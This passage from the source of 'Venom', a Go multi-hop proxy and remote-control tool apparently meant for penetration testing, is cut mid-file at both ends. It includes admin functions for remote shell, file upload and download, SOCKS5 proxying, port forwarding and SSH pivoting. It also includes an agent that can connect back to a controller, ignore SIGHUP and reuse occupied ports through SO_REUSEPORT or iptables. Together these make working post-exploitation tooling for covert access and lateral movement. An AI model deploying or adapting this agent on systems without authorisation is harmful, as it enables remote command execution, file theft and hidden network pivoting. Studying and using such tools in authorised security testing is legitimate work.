164 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
165 | CmdType: protocol.DOWNLOAD,
166 | }
167 | peerNode.WritePacket(packetHeader, downloadPacketCmd)
168 |
169 | var retPacketHeader protocol.PacketHeader
170 | var downloadPacketRet protocol.DownloadPacketRet
171 | err = node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&retPacketHeader, &downloadPacketRet)
172 | if err != nil {
173 | fmt.Println(fmt.Sprintf("downloadpacket error: %s", err))
174 | return false
175 | }
176 |
177 | if downloadPacketRet.Success == 0 {
178 | fmt.Println("download file error: " + string(downloadPacketRet.Msg))
179 | if utils.FileExists(localPath) {
180 | os.Remove(localPath)
181 | }
182 | return false
183 | }
184 |
185 | if downloadPacketRet.FileLen > 1024*1024*100 {
186 | fmt.Printf("this file is too large (%s), do you still want to download it? (y/n) ",
187 | utils.GetFileSizeDescription(downloadPacketRet.FileLen))
188 | var choise string
189 | fmt.Scanf("%s", &choise)
190 | if choise != "y" {
191 | fmt.Println("stop download.")
192 | downloadPacketCmd.StillDownload = 0
193 | peerNode.WritePacket(packetHeader, downloadPacketCmd)
194 |
195 | if utils.FileExists(localPath) {
196 | os.Remove(localPath)
197 | }
198 | return false
199 | }
200 | }
201 |
202 | downloadPacketCmd.StillDownload = 1
203 | peerNode.WritePacket(packetHeader, downloadPacketCmd)
204 |
205 | /* ---------- download file ---------- */
206 | err = node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &downloadPacketRet)
207 | if err != nil {
208 | fmt.Println(fmt.Sprintf("[-]downloadpacket error: %s", err))
209 | return false
210 | }
211 |
212 | // 开始下载文件
213 | var dataBlockSize = uint64(global.MAX_PACKET_SIZE - 4)
214 | loop := int64(downloadPacketRet.FileLen / dataBlockSize)
215 | remainder := downloadPacketRet.FileLen % dataBlockSize
216 |
217 | // 进度条功能
218 | bar := pb.New64(int64(downloadPacketRet.FileLen))
219 | bar.SetTemplate(pb.Full)
220 | bar.Set(pb.Bytes, true)
221 |
222 | // and start
223 | bar.Start()
224 |
225 | for ; loop >= 0; loop-- {
226 | if loop != 0 || (loop == 0 && remainder != 0) {
227 | var fileDataPacket protocol.FileDataPacket
228 | node.CurrentNode.CommandBuffers[protocol.DOWNLOAD].ReadPacket(&packetHeader, &fileDataPacket)
229 | _, err = localFile.Write(fileDataPacket.Data)
230 | if err != nil {
231 | fmt.Println(err)
232 | }
233 | bar.Add64(int64(fileDataPacket.DataLen))
234 | }
235 | }
236 | bar.Finish()
237 | fmt.Println("download file successfully!")
238 |
239 | return true
240 | }
241 |
242 | // SendUploadCmd 发送上传命令
243 | func SendUploadCmd(peerNode *node.Node, localPath string, remotePath string) bool {
244 | if !utils.FileExists(localPath) {
245 | fmt.Println("local file does not exists")
246 | return false
247 | }
248 |
249 | if utils.IsDir(localPath) {
250 | fmt.Println("local file cannot be a folder")
251 | return false
252 | }
253 |
254 | localFile, err := os.Open(localPath)
255 | if err != nil {
256 | fmt.Println(err)
257 | return false
258 | }
259 |
260 | defer localFile.Close()
261 |
262 | // 如果文件过大,提醒用户选择是否继续上次(过大的文件会影响其他命令数据的传输效率)
263 | var fileSize = utils.GetFileSize(localPath)
264 | if fileSize > 1024*1024*100 {
265 | fmt.Printf("this file is too large (%s), do you still want to upload it? (y/n) ",
266 | utils.GetFileSizeDescription(uint64(fileSize)))
267 | var choise string
268 | fmt.Scanf("%s", &choise)
269 | if choise != "y" {
270 | fmt.Println("stop upload.")
271 | return false
272 | }
273 | }
274 |
275 | /* ----- before upload ----- */
276 | // 在文件上传前,首先要确定remotePath没有错误
277 | uploadPacketCmd := protocol.UploadPacketCmd{
278 | PathLen: uint32(len(remotePath)),
279 | Path: []byte(remotePath),
280 | FileLen: uint64(fileSize),
281 | }
282 | packetHeader := protocol.PacketHeader{
283 | Separator: global.PROTOCOL_SEPARATOR,
284 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
285 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
286 | CmdType: protocol.UPLOAD,
287 | }
288 |
289 | peerNode.WritePacket(packetHeader, uploadPacketCmd)
290 |
291 | var packetHeaderRet protocol.PacketHeader
292 | var uploadPacketRet protocol.UploadPacketRet
293 | err = node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &uploadPacketRet)
294 | if err != nil {
295 | fmt.Println(fmt.Sprintf("syncpacket error: %s", err))
296 | return false
297 | }
298 | if uploadPacketRet.Success == 0 {
299 | fmt.Println("upload file error: " + string(uploadPacketRet.Msg))
300 | return false
301 | }
302 | /* ----- upload file ------- */
303 | peerNode.WritePacket(packetHeader, uploadPacketCmd)
304 |
305 | // 单个数据包最大为MAX_PACKET_SIZE,除去非数据字段DataLen占用4字节
306 | var dataBlockSize = int64(global.MAX_PACKET_SIZE - 4)
307 | loop := fileSize / dataBlockSize
308 | remainder := fileSize % dataBlockSize
309 |
310 | // 进度条功能
311 | bar := pb.New64(fileSize)
312 | bar.SetTemplate(pb.Full)
313 | bar.Set(pb.Bytes, true)
314 |
315 | // and start
316 | bar.Start()
317 |
318 | var size int64
319 | // TODO: 直接在文件协议数据包中写明会传输几个数据包,而不要使用loop决定
320 | for ; loop >= 0; loop-- {
321 | var buf []byte
322 | if loop > 0 {
323 | buf = make([]byte, dataBlockSize)
324 | } else {
325 | buf = make([]byte, remainder)
326 | }
327 | // n, err := localFile.Read(buf[0:])
328 | n, err := io.ReadFull(localFile, buf)
329 | if n > 0 {
330 | size += int64(n)
331 | dataPacket := protocol.FileDataPacket{
332 | DataLen: uint32(n),
333 | Data: buf[0:n],
334 | }
335 | packetHeader := protocol.PacketHeader{
336 | Separator: global.PROTOCOL_SEPARATOR,
337 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
338 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
339 | CmdType: protocol.UPLOAD,
340 | }
341 | peerNode.WritePacket(packetHeader, dataPacket)
342 | bar.Add64(int64(n))
343 | }
344 | if err != nil {
345 | if err != io.EOF {
346 | fmt.Println("[-]read file error")
347 | }
348 | break
349 | }
350 | }
351 | bar.Finish()
352 |
353 | err = node.CurrentNode.CommandBuffers[protocol.UPLOAD].ReadPacket(&packetHeaderRet, &uploadPacketRet)
354 |
355 | if err != nil {
356 | fmt.Println(fmt.Sprintf("[-]syncpacket error: %s", err))
357 | return false
358 | }
359 | if uploadPacketRet.Success == 0 {
360 | fmt.Println("upload file error: " + string(uploadPacketRet.Msg))
361 | return false
362 | }
363 | fmt.Println("upload file successfully!")
364 | return true
365 | }
366 |
367 | // SendShellCmd 发送shell命令
368 | func SendShellCmd(peerNode *node.Node) {
369 |
370 | shellPacketCmd := protocol.ShellPacketCmd{
371 | Start: 1,
372 | }
373 | packetHeader := protocol.PacketHeader{
374 | Separator: global.PROTOCOL_SEPARATOR,
375 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
376 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
377 | CmdType: protocol.SHELL,
378 | }
379 |
380 | peerNode.WritePacket(packetHeader, shellPacketCmd)
381 |
382 | var packetHeaderRet protocol.PacketHeader
383 | var shellPacketRet protocol.ShellPacketRet
384 | node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeaderRet, &shellPacketRet)
385 |
386 | if shellPacketRet.Success == 1 {
387 | c := make(chan bool, 2)
388 | go CopyStdin2Node(os.Stdin, peerNode, c)
389 | go CopyNode2Stdout(peerNode, os.Stdout, c)
390 | <-c
391 | <-c
392 | // exit = true
393 | } else {
394 | fmt.Println("something error.")
395 | }
396 | }
397 |
398 | // SendSocks5Cmd 启动socks5代理
399 | func SendSocks5Cmd(peerNode *node.Node, port uint16) bool {
400 | err := netio.InitTCP("listen", fmt.Sprintf("0.0.0.0:%d", port), peerNode.HashID, localSocks5Server)
401 |
402 | if err != nil {
403 | fmt.Println("socks5 proxy startup error.")
404 | return false
405 | }
406 | fmt.Printf("a socks5 proxy of the target node has started up on the local port %d.\n", port)
407 | return true
408 | }
409 |
410 | func localSocks5Server(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) {
411 | // defer conn.Close()
412 |
413 | peerNode := node.Nodes[peerNodeID]
414 |
415 | currentSessionID := node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].GetSessionID()
416 |
417 | socks5ControlCmd := protocol.Socks5ControlPacketCmd{
418 | SessionID: currentSessionID,
419 | Start: 1,
420 | }
421 | packetHeader := protocol.PacketHeader{
422 | Separator: global.PROTOCOL_SEPARATOR,
423 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
424 | DstHashID: utils.UUIDToArray32(peerNodeID),
425 | CmdType: protocol.SOCKS,
426 | }
427 | // send socks5 start command, send session id to socks5 server node
428 | node.Nodes[peerNodeID].WritePacket(packetHeader, socks5ControlCmd)
429 |
430 | // ReadPacket From CommandBuffer
431 | var packetHeaderRet protocol.PacketHeader
432 | var socks5ControlRet protocol.Socks5ControlPacketRet
433 | node.CurrentNode.CommandBuffers[protocol.SOCKS].ReadPacket(&packetHeaderRet, &socks5ControlRet)
434 |
435 | if socks5ControlRet.Success == 0 {
436 | fmt.Println("socks5 start error on agent")
437 | return
438 | }
439 |
440 | defer func() {
441 | // Fix Bug : socks5连接不会断开的问题
442 | socks5CloseData := protocol.NetDataPacket{
443 | SessionID: currentSessionID,
444 | Close: 1,
445 | }
446 | packetHeader := protocol.PacketHeader{
447 | Separator: global.PROTOCOL_SEPARATOR,
448 | CmdType: protocol.SOCKSDATA,
449 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
450 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
451 | }
452 | peerNode.WritePacket(packetHeader, socks5CloseData)
453 |
454 | // node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].RealseDataBuffer(currentSessionID)
455 | // runtime.GC()
456 | }()
457 |
458 | // start read socks5 data from socks5 client
459 | // socks5 data buffer
460 | node.Nodes[peerNodeID].DataBuffers[protocol.SOCKSDATA].NewDataBuffer(currentSessionID)
461 |
462 | c := make(chan bool, 2)
463 |
464 | // 从node Socks5Buffer中读取数据,发送给客户端
465 | go node.CopyNode2Net(peerNode, conn, currentSessionID, protocol.SOCKSDATA, c)
466 |
467 | if err := AdminHandShake(conn, peerNode, currentSessionID); err != nil {
468 | // fmt.Println("socks handshake:")
469 | // fmt.Println(err)
470 | return
471 | }
472 | _, err := AdminParseTarget(conn, peerNode, currentSessionID)
473 | if err != nil {
474 | // fmt.Println("socks consult transfer mode or parse target :")
475 | // fmt.Println(err)
476 | return
477 | }
478 |
479 | // 从本地socket接收数据,发送给服务端
480 | go node.CopyNet2Node(conn, peerNode, currentSessionID, protocol.SOCKSDATA, c)
481 |
482 | // exit
483 | <-c
484 | <-done
485 | }
486 |
487 | // SendLForwardCmd Forward a local sport to a remote dport lhost:sport => dport
488 | func SendLForwardCmd(peerNode *node.Node, sport uint16, lhost string, dport uint16) {
489 | lforwardPacketCmd := protocol.NetLForwardPacketCmd{
490 | Start: 1,
491 | DstPort: dport,
492 | SrcPort: sport,
493 | LHost: utils.IpToUint32(net.ParseIP(lhost)),
494 | }
495 | packetHeader := protocol.PacketHeader{
496 | Separator: global.PROTOCOL_SEPARATOR,
497 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
498 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
499 | CmdType: protocol.LFORWARD,
500 | }
501 |
502 | peerNode.WritePacket(packetHeader, lforwardPacketCmd)
503 |
504 | LForwardTarget[crypto.Sha256(fmt.Sprintf("%s:%d", lhost, sport))] = true
505 |
506 | // go HandleLForward()
507 | }
508 |
509 | // SendRForwardCmd Forward a remote sport to a local dport lhost:sport => dport
510 | func SendRForwardCmd(peerNode *node.Node, rhost string, sport uint16, dport uint16) bool {
511 | err := netio.InitTCP(
512 | "listen",
513 | fmt.Sprintf("0.0.0.0:%d", dport),
514 | peerNode.HashID,
515 | localRForwardServer,
516 | rhost,
517 | sport,
518 | )
519 |
520 | if err != nil {
521 | fmt.Println("rforward tcp listen error")
522 | return false
523 | }
524 | return true
525 | }
526 |
527 | func localRForwardServer(conn net.Conn, peerNodeID string, done chan bool, args ...interface{}) {
528 | // defer conn.Close()
529 |
530 | peerNode := node.Nodes[peerNodeID]
531 |
532 | currentSessionID := node.Nodes[peerNodeID].DataBuffers[protocol.RFORWARDDATA].GetSessionID()
533 |
534 | rforwardPacketCmd := protocol.NetRForwardPacketCmd{
535 | SessionID: currentSessionID,
536 | Start: 1,
537 | RHost: utils.IpToUint32(net.ParseIP(args[0].([]interface{})[0].(string))),
538 | SrcPort: args[0].([]interface{})[1].(uint16),
539 | }
540 | packetHeader := protocol.PacketHeader{
541 | Separator: global.PROTOCOL_SEPARATOR,
542 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
543 | DstHashID: utils.UUIDToArray32(peerNodeID),
544 | CmdType: protocol.RFORWARD,
545 | }
546 |
547 | node.Nodes[peerNodeID].WritePacket(packetHeader, rforwardPacketCmd)
548 |
549 | // ReadPacket From CommandBuffer
550 | var packetHeaderRet protocol.PacketHeader
551 | var rforwardPacketRet protocol.NetRForwardPacketRet
552 | node.CurrentNode.CommandBuffers[protocol.RFORWARD].ReadPacket(&packetHeaderRet, &rforwardPacketRet)
553 |
554 | if rforwardPacketRet.Success == 0 {
555 | fmt.Println("rforward: connect to target host error on agent")
556 | return
557 | }
558 |
559 | defer func() {
560 | netCloseData := protocol.NetDataPacket{
561 | SessionID: currentSessionID,
562 | Close: 1,
563 | }
564 | packetHeader := protocol.PacketHeader{
565 | Separator: global.PROTOCOL_SEPARATOR,
566 | CmdType: protocol.RFORWARDDATA,
567 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
568 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
569 | }
570 | peerNode.WritePacket(packetHeader, netCloseData)
571 | }()
572 |
573 | node.Nodes[peerNodeID].DataBuffers[protocol.RFORWARDDATA].NewDataBuffer(currentSessionID)
574 |
575 | c := make(chan bool, 2)
576 |
577 | go node.CopyNet2Node(conn, peerNode, currentSessionID, protocol.RFORWARDDATA, c)
578 | go node.CopyNode2Net(peerNode, conn, currentSessionID, protocol.RFORWARDDATA, c)
579 |
580 | // 大小为2的channel,在CopyNet2Node和CopyNode2Net时,只需要<-c一次即可
581 | // 因为CopyNode2Net是阻塞的,需要在对应handler函数退出之后,接收到对方节点发来的close packet才会退出
582 | <-c
583 |
584 | // exit
585 | <-done
586 | }
587 |
588 | func SendSshConnectCmd(peerNode *node.Node, sshUser string, sshHost string, sshPort uint16, dport uint16, sshAuthMethod uint16, sshAuthData string) {
589 |
590 | sshConnectPacketCmd := protocol.SshConnectPacketCmd{
591 | SshServer: utils.IpToUint32(net.ParseIP(sshHost)),
592 | SshPort: sshPort,
593 | DstPort: dport,
594 | SshUserLen: uint32(len(sshUser)),
595 | SshUser: []byte(sshUser),
596 | SshAuthMethod: sshAuthMethod,
597 | SshAuthDataLen: uint32(len(sshAuthData)),
598 | SshAuthData: []byte(sshAuthData),
599 | }
600 | packetHeader := protocol.PacketHeader{
601 | Separator: global.PROTOCOL_SEPARATOR,
602 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
603 | DstHashID: utils.UUIDToArray32(peerNode.HashID),
604 | CmdType: protocol.SSHCONNECT,
605 | }
606 |
607 | peerNode.WritePacket(packetHeader, sshConnectPacketCmd)
608 |
609 | var sshConnectPacketRet protocol.ConnectPacketRet
610 | node.CurrentNode.CommandBuffers[protocol.SSHCONNECT].ReadPacket(&packetHeader, &sshConnectPacketRet)
611 |
612 | if sshConnectPacketRet.Success == 1 {
613 | fmt.Println("ssh successfully connects to the remote node!")
614 | } else {
615 | fmt.Println("ssh failed to connects to the remote node !")
616 | fmt.Println(string(sshConnectPacketRet.Msg))
617 | }
618 | }
619 |
--------------------------------------------------------------------------------
/agent/agent.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/signal"
5 | "runtime"
6 | "syscall"
7 |
8 | "github.com/Dliv3/Venom/agent/cli"
9 | "github.com/Dliv3/Venom/agent/dispather"
10 | initnode "github.com/Dliv3/Venom/agent/init"
11 | "github.com/Dliv3/Venom/crypto"
12 | "github.com/Dliv3/Venom/node"
13 | )
14 |
15 | func main() {
16 | runtime.GOMAXPROCS(runtime.NumCPU())
17 |
18 | cli.ParseArgs()
19 | // ignore sighup
20 | signal.Ignore(syscall.SIGHUP)
21 |
22 | node.CurrentNode.IsAdmin = 0
23 | crypto.InitEncryption(cli.Args.Password)
24 | node.CurrentNode.InitCommandBuffer()
25 | node.CurrentNode.InitDataBuffer()
26 |
27 | dispather.InitAgentHandler()
28 |
29 | initnode.InitNode()
30 | }
31 |
--------------------------------------------------------------------------------
/agent/cli/cli.go:
--------------------------------------------------------------------------------
1 | package cli
2 |
3 | const (
4 | LISTEN_MODE = 1
5 | CONNECT_MODE = 2
6 | )
7 |
8 | const (
9 | SOCKET_REUSE_METHOD = 1
10 | IPTABLES_METHOD = 2
11 | )
12 |
13 | type Option struct {
14 | LocalPort int
15 | LocalIP string
16 | RemoteIP string
17 | RemotePort int
18 | ReusedPort int
19 | // 0 默认值,表示参数解析错误,无法设置模式
20 | // mode 1 listen a local port
21 | // mode 2 connect to remote port
22 | Mode int
23 | // 端口复用方法
24 | // 1 通过SO_REUSEADDR、SO_REUSEPORT进行端口复用
25 | // 2 通过iptables端口复用
26 | PortReuseMethod int
27 |
28 | Password string
29 | }
30 |
31 | // Args
32 | var Args Option
33 |
--------------------------------------------------------------------------------
/agent/cli/cli_iot.go:
--------------------------------------------------------------------------------
1 | // +build !386
2 | // +build !amd64
3 |
4 | package cli
5 |
6 | import (
7 | "flag"
8 | "fmt"
9 | "os"
10 | )
11 |
12 | // COMMAND LINE INTERFACE
13 |
14 | func init() {
15 | // 不加-h选项也可以正确显示帮助信息
16 | // flag.BoolVar(&help, "h", false, "help")
17 |
18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.")
19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.")
20 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.")
21 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.")
22 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)")
23 |
24 | // 改变默认的 Usage
25 | flag.Usage = usage
26 | }
27 |
28 | func usage() {
29 | fmt.Fprintf(os.Stderr, `Venom version: 1.1
30 |
31 | Usage:
32 | $ ./venom_agent -lport [port]
33 | $ ./venom_agent -rhost [ip] -rport [port]
34 |
35 | Options:
36 | `)
37 | flag.PrintDefaults()
38 | }
39 |
40 | // ParseArgs is a function aim to parse the command line args
41 | func ParseArgs() {
42 | flag.Parse()
43 |
44 | if Args.LocalPort == 0 && Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalIP == "" {
45 | // connect to remote port
46 | Args.Mode = CONNECT_MODE
47 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 && Args.LocalIP == "" {
48 | // listen a local port
49 | Args.Mode = LISTEN_MODE
50 | } else {
51 | // error
52 | flag.Usage()
53 | os.Exit(0)
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/agent/cli/cli_linux.go:
--------------------------------------------------------------------------------
1 | // +build linux
2 | // +build amd64 386
3 |
4 | package cli
5 |
6 | import (
7 | "flag"
8 | "fmt"
9 | "os"
10 | )
11 |
12 | // COMMAND LINE INTERFACE
13 |
14 | func init() {
15 | // 不加-h选项也可以正确显示帮助信息
16 | // flag.BoolVar(&help, "h", false, "help")
17 |
18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.")
19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.")
20 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.")
21 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.")
22 | flag.IntVar(&Args.ReusedPort, "reuse-port", 0, "The `port` to be reused.")
23 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)")
24 |
25 | // 改变默认的 Usage
26 | flag.Usage = usage
27 | }
28 |
29 | func usage() {
30 | fmt.Fprintf(os.Stderr, `Venom version: 1.1
31 |
32 | Usage:
33 | $ ./venom_agent -lport [port]
34 | $ ./venom_agent -rhost [ip] -rport [port]
35 | $ ./venom_agent -lhost [ip] -reuse-port [port]
36 | $ ./venom_agent -lport [port] -reuse-port [port]
37 |
38 | Options:
39 | `)
40 | flag.PrintDefaults()
41 | }
42 |
43 | // ParseArgs is a function aim to parse the command line args
44 | func ParseArgs() {
45 | flag.Parse()
46 |
47 | if Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalPort == 0 &&
48 | Args.LocalIP == "" && Args.ReusedPort == 0 {
49 | // connect to remote port
50 | Args.Mode = CONNECT_MODE
51 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 &&
52 | Args.LocalIP == "" && Args.ReusedPort == 0 {
53 | // listen a local port
54 | Args.Mode = LISTEN_MODE
55 | } else if Args.LocalIP != "" && Args.ReusedPort != 0 && Args.LocalPort == 0 &&
56 | Args.RemoteIP == "" && Args.RemotePort == 0 {
57 | Args.Mode = LISTEN_MODE
58 | Args.PortReuseMethod = SOCKET_REUSE_METHOD
59 | } else if Args.LocalPort != 0 && Args.ReusedPort != 0 && Args.LocalIP == "" &&
60 | Args.RemoteIP == "" && Args.RemotePort == 0 {
61 | Args.Mode = LISTEN_MODE
62 | Args.PortReuseMethod = IPTABLES_METHOD
63 | } else {
64 | // error
65 | flag.Usage()
66 | os.Exit(0)
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/agent/cli/cli_others.go:
--------------------------------------------------------------------------------
1 | // +build windows darwin
2 | // +build amd64 386
3 |
4 | package cli
5 |
6 | import (
7 | "flag"
8 | "fmt"
9 | "os"
10 | )
11 |
12 | // COMMAND LINE INTERFACE
13 |
14 | func init() {
15 | // 不加-h选项也可以正确显示帮助信息
16 | // flag.BoolVar(&help, "h", false, "help")
17 |
18 | flag.IntVar(&Args.LocalPort, "lport", 0, "Listen a local `port`.")
19 | flag.StringVar(&Args.LocalIP, "lhost", "", "Local `ip` address.")
20 | flag.IntVar(&Args.RemotePort, "rport", 0, "The `port` on remote host.")
21 | flag.StringVar(&Args.RemoteIP, "rhost", "", "Remote `ip` address.")
22 | flag.IntVar(&Args.ReusedPort, "reuse-port", 0, "Reused port.")
23 | flag.StringVar(&Args.Password, "passwd", "", "The `password` used in encrypted communication. (optional)")
24 |
25 | // 改变默认的 Usage
26 | flag.Usage = usage
27 | }
28 |
29 | func usage() {
30 | fmt.Fprintf(os.Stderr, `Venom version: 1.1
31 |
32 | Usage:
33 | $ ./venom_agent -lport [port]
34 | $ ./venom_agent -rhost [ip] -rport [port]
35 | $ ./venom_agent -lhost [ip] -reuse-port [port]
36 |
37 | Options:
38 | `)
39 | flag.PrintDefaults()
40 | }
41 |
42 | // ParseArgs is a function aim to parse the command line args
43 | func ParseArgs() {
44 | flag.Parse()
45 |
46 | if Args.RemoteIP != "" && Args.RemotePort != 0 && Args.LocalPort == 0 &&
47 | Args.ReusedPort == 0 && Args.LocalIP == "" {
48 | // connect to remote port
49 | Args.Mode = CONNECT_MODE
50 | } else if Args.LocalPort != 0 && Args.RemoteIP == "" && Args.RemotePort == 0 &&
51 | Args.ReusedPort == 0 && Args.LocalIP == "" {
52 | // listen a local port
53 | Args.Mode = LISTEN_MODE
54 | } else if Args.ReusedPort != 0 && Args.LocalIP != "" && Args.LocalPort == 0 &&
55 | Args.RemoteIP == "" && Args.RemotePort == 0 {
56 | Args.Mode = LISTEN_MODE
57 | Args.PortReuseMethod = SOCKET_REUSE_METHOD
58 | } else {
59 | // error
60 | flag.Usage()
61 | os.Exit(0)
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/agent/dispather/forward.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "io"
5 | "os/exec"
6 |
7 | "github.com/Dliv3/Venom/global"
8 | "github.com/Dliv3/Venom/node"
9 | "github.com/Dliv3/Venom/protocol"
10 | "github.com/Dliv3/Venom/utils"
11 | )
12 |
13 | func CopyStdoutPipe2Node(input io.Reader, output *node.Node, c chan bool) {
14 | buf := make([]byte, global.MAX_PACKET_SIZE-8)
15 | for {
16 | count, err := input.Read(buf)
17 | data := protocol.ShellPacketRet{
18 | Success: 1,
19 | DataLen: uint32(count),
20 | Data: buf[:count],
21 | }
22 | packetHeader := protocol.PacketHeader{
23 | Separator: global.PROTOCOL_SEPARATOR,
24 | CmdType: protocol.SHELL,
25 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
26 | DstHashID: utils.UUIDToArray32(output.HashID),
27 | }
28 | if err != nil {
29 | if count > 0 {
30 | output.WritePacket(packetHeader, data)
31 | }
32 | break
33 | }
34 | if count > 0 {
35 | output.WritePacket(packetHeader, data)
36 | }
37 | }
38 | c <- true
39 | // fmt.Println("CopyStdoutPipe2Node Exit")
40 |
41 | return
42 | }
43 |
44 | func CopyNode2StdinPipe(input *node.Node, output io.Writer, c chan bool, cmd *exec.Cmd) {
45 | for {
46 | var packetHeader protocol.PacketHeader
47 | var shellPacketCmd protocol.ShellPacketCmd
48 | err := node.CurrentNode.CommandBuffers[protocol.SHELL].ReadPacket(&packetHeader, &shellPacketCmd)
49 | if shellPacketCmd.Start == 0 {
50 | break
51 | }
52 | if err != nil {
53 | break
54 | }
55 | output.Write(shellPacketCmd.Cmd)
56 | if string(shellPacketCmd.Cmd) == "exit\n" {
57 | break
58 | }
59 | }
60 | c <- true
61 | // fmt.Println("CopyNode2StdinPipe Exit")
62 |
63 | return
64 | }
65 |
--------------------------------------------------------------------------------
/agent/dispather/handler.go:
--------------------------------------------------------------------------------
1 | package dispather
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "io"
7 | "log"
8 | "net"
9 | "os"
10 | "os/exec"
11 | "runtime"
12 |
13 | "github.com/Dliv3/Venom/global"
14 | "github.com/Dliv3/Venom/netio"
15 | "github.com/Dliv3/Venom/node"
16 | "github.com/Dliv3/Venom/protocol"
17 | "github.com/Dliv3/Venom/utils"
18 | )
19 |
20 | var ERR_UNKNOWN_CMD = errors.New("unknown command type")
21 | var ERR_PROTOCOL_SEPARATOR = errors.New("unknown separator")
22 | var ERR_TARGET_NODE = errors.New("can not find target node")
23 | var ERR_FILE_EXISTS = errors.New("remote file already exists")
24 | var ERR_FILE_NOT_EXISTS = errors.New("remote file not exists")
25 | var ERR_PATH_IS_DIR = errors.New("remote file cannot be a folder")
26 |
27 | // AgentClient Admin节点作为Client
28 | func AgentClient(conn net.Conn) {
29 | result, peerNode := node.ClentInitConnection(conn)
30 | if result {
31 | log.Println("[+]Successfully connects to a new node")
32 | go node.CurrentNode.CommandHandler(peerNode)
33 | }
34 | }
35 |
36 | // AgentServer Admin节点作为Server
37 | func AgentServer(conn net.Conn) {
38 | log.Println("[+]Remote connection: ", conn.RemoteAddr())
39 | result, peerNode := node.ServerInitConnection(conn)
40 | if result {
41 | log.Println("[+]A new node successfully connects to this node")
42 | go node.CurrentNode.CommandHandler(peerNode)
43 | }
44 | }
45 |
46 | // InitAgentHandler Agent处理Admin发出的命令
47 | func InitAgentHandler() {
48 | go handleSyncCmd()
49 | go handleListenCmd()
50 | go handleConnectCmd()
51 | go handleDownloadCmd()
52 | go handleUploadCmd()
53 | go handleShellCmd()
54 | go handleSocks5Cmd()
55 | go handleLForwardCmd()
56 | go handleRForwardCmd()
57 | go handleSshConnectCmd()
58 | }
59 |
60 | func handleSyncCmd() {
61 | for {
62 | // fmt.Println("Nodes", node.Nodes)
63 |
64 | var packetHeader protocol.PacketHeader
65 | var syncPacket protocol.SyncPacket
66 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&packetHeader, &syncPacket)
67 |
68 | // 重新初始化网络拓扑,这样当有节点断开时网络拓扑会实时改变
69 | node.GNetworkTopology.InitNetworkMap()
70 |
71 | node.GNetworkTopology.ResolveNetworkMapData(syncPacket.NetworkMap)
72 |
73 | // 通信的对端节点
74 | var peerNodeID = utils.Array32ToUUID(packetHeader.SrcHashID)
75 |
76 | // nextNode为下一跳
77 | nextNode := node.Nodes[node.GNetworkTopology.RouteTable[peerNodeID]]
78 |
79 | networkMap := node.GNetworkTopology.GenerateNetworkMapData()
80 |
81 | // 递归向其他节点发送sync同步路由表请求
82 | for i := range node.Nodes {
83 | if node.Nodes[i].HashID != peerNodeID && node.Nodes[i].DirectConnection {
84 | tempPacketHeader := protocol.PacketHeader{
85 | Separator: global.PROTOCOL_SEPARATOR,
86 | SrcHashID: utils.UUIDToArray32(node.CurrentNode.HashID),
87 | DstHashID: utils.UUIDToArray32(node.Nodes[i].HashID),
88 | CmdType: protocol.SYNC,
89 | }
90 | tempSyncPacket := protocol.SyncPacket{
91 | NetworkMapLen: uint64(len(networkMap)),
92 | NetworkMap: networkMap,
93 | }
94 |
95 | node.Nodes[i].WritePacket(tempPacketHeader, tempSyncPacket)
96 |
97 | node.CurrentNode.CommandBuffers[protocol.SYNC].ReadPacket(&tempPacketHeader, &tempSyncPacket)
98 |
99 | node.GNetworkTopology.ResolveNetworkMapData(tempSyncPacket.NetworkMap)
100 | }
101 | }
102 |
103 | // 生成路由表
104 | node.GNetworkTopology.UpdateRouteTable()
105 |
106 | // fmt.Println("RouteTable", node.GNetworkTopology.RouteTable)
107 |
108 | // 创建Node结构体
